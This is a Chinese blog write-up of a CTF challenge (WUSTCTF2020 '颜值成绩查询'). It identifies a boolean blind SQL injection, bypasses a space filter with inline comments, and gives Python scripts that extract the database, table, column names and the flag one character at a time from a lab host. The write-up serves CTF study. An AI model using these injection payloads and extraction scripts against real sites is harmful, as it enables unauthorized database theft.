前言
考点是布尔盲注+手撕脚本
正文
主界面就是一个输入框,并且对相应的查询有回显
猜测这里的sql语句是select [成绩] from [数据表] where id=[输入框]
然后回显只有两种一种是查到某个人的成绩一种是student number not exists.
尝试注入if(1,1,2)
查询到第一个人,确定这里存在注入点
尝试注入-1 or 1=1--
回显student number not exists.
尝试注入-1/**/or/**/1=1
–回显一行,判断为过滤空格且前端只显示一行
尝试注入1/**/order/**/by/**/3--
,查询到一个人
尝试注入1/**/union/**/select/**/1,2,3--
,回显student number not exists.
尝试注入1/**/union/**/select/**/1,2--
,回显student number not exists.
尝试注入1/**/union/**/select/**/1--
,回显student number not exists.综合判断为布尔盲注
然后手撕一份脚本
爆数据库名
import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(20,50):
for j in a:
url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(SCHEMA_NAME),"+str(i)+",1))/**/from/**/information_schema.SCHEMATA)='"+j+"',1,2)#"
t = s.get(url,timeout=3)
time.sleep(0.1)
if("admin" in t.text):
zzz=zzz+j
print(zzz)
break
当然用二分差查找更加快,但是算法有点难理解就用最传统的方法查询了,只查到一个数据库ctf
爆数据表名
import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(50):
for j in a:
url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(TABLE_NAME),"+str(i)+",1))from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database())='"+j+"',1,2)#"
t = s.get(url,timeout=3)
time.sleep(0.1)
if("admin" in t.text):
zzz=zzz+j
print(zzz)
break
得到两个表flag,score这加号怎么来的我也不太清楚也没发现哪里有问题呀>
爆字段
import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(50):
for j in a:
url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(COLUMN_NAME),"+str(i)+",1))from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME='flag')='"+j+"',1,2)#"
t = s.get(url,timeout=3)
time.sleep(0.1)
if("admin" in t.text):
zzz=zzz+j
print(zzz)
break
得到flag和value,盲猜flag在value里面
爆数据值
import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(50):
for j in a:
url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(value),"+str(i)+",1))from/**/flag/**/limit/**/0,1)='"+j+"',1,2)#"
t = s.get(url,timeout=3)
time.sleep(0.1)
if("admin" in t.text):
zzz=zzz+j
print(zzz)
break
最后得到flag
flag{05279d94-1e94-4cdd-8f78-fbd8e094d66b}
声明:
本文采用
BY-NC-SA
协议进行授权,如无注明均为原创,转载请注明转自
cbase的博客
本文地址: WUSTCTF2020颜值成绩查询
本文地址: WUSTCTF2020颜值成绩查询